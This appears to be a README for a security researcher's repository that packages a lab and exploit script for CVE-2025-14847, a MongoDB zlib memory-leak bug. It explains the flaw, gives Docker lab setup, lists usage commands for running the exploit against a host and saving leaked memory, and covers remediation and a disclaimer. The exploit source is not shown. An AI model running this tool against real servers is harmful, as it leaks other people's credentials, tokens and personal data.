CVE-2025-14847 - MongoBleed

👨‍💻 Author: Furkan KAYAPINAR (@FurkanKAYAPINAR)

⚠️ EDUCATIONAL PURPOSE ONLY

Lab environment and exploit script for the critical unauthenticated memory-leak vulnerability in MongoDB Server.

📋 Table of Contents

• Vulnerability Overview

• Affected Versions

• Installation

• Lab Environment

• Usage

• Remediation

• Legal Disclaimer

🔴 Vulnerability Overview

CVE-2025-14847 (MongoBleed) is a critical unauthenticated memory-leak vulnerability in MongoDB Server's zlib compression handling.

Technical Details

The vulnerability exists in message_compressor_zlib.cpp. When processing OP_COMPRESSED messages:

1. Attacker sends crafted message with inconsistent length fields
2. Server allocates buffer based on declared uncompressedSize
3. Actual decompressed data is smaller than declared
4. Server returns allocated buffer length instead of actual data length
5. Uninitialized heap memory is leaked to the attacker

Impact

Leaked data may include:

• 🔑 Authentication tokens and secrets
• 🗄️ Database session data
• 👤 PII (Personally Identifiable Information)
• 🔐 API keys and passwords
• ⚙️ Configuration details

📦 Affected Versions

🚀 Installation

# Clone repository
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB

# Create virtual environment
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# venv\Scripts\activate   # Windows

# Install dependencies
pip install -r requirements.txt

🧪 Lab Environment

Start a vulnerable MongoDB instance for testing:

cd lab

# Start vulnerable MongoDB (6.0.26 with zlib enabled)
docker-compose up -d

# Verify it's running
docker-compose ps

# Load sample data (optional)
./setup.sh load-data

# Stop lab
docker-compose down

💀 Usage

Basic Exploit

# Single target
python exploit/mongobleed.py -u 127.0.0.1

# With specific port
python exploit/mongobleed.py -u 127.0.0.1 -p 27017

# Save leaked data to file
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin

# Multiple iterations for more data
python exploit/mongobleed.py -u 127.0.0.1 -i 20

# Quiet mode (less output)
python exploit/mongobleed.py -u 127.0.0.1 -q

# Without hex dump (text output)
python exploit/mongobleed.py -u 127.0.0.1 --text

🔧 Remediation

Option 1: Upgrade (Recommended)

# Update to patched version
# Example for MongoDB 6.x
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27

Option 2: Disable zlib Compression

# Start mongod without zlib
mongod --networkMessageCompressors snappy,zstd

# Or in mongod.conf
net:
  compression:
    compressors: snappy,zstd

Verify Fix

python remediation/verify_fix.py --target 127.0.0.1 --port 27017

⚖️ Legal Disclaimer

🚨 WARNING

This tool is provided for educational and authorized security testing purposes only.

• Unauthorized access to computer systems is illegal
• You are solely responsible for your actions
• The authors assume no liability for misuse

By using this tool, you agree that you have proper authorization to test the target systems.

📚 References

• NVD - CVE-2025-14847
• MongoDB Security Advisory
• Varonis - MongoBleed Analysis

🤝 Contributing

Contributions are welcome! Please read CONTRIBUTING.md first.

📄 License

This project is licensed under the MIT License - see LICENSE file.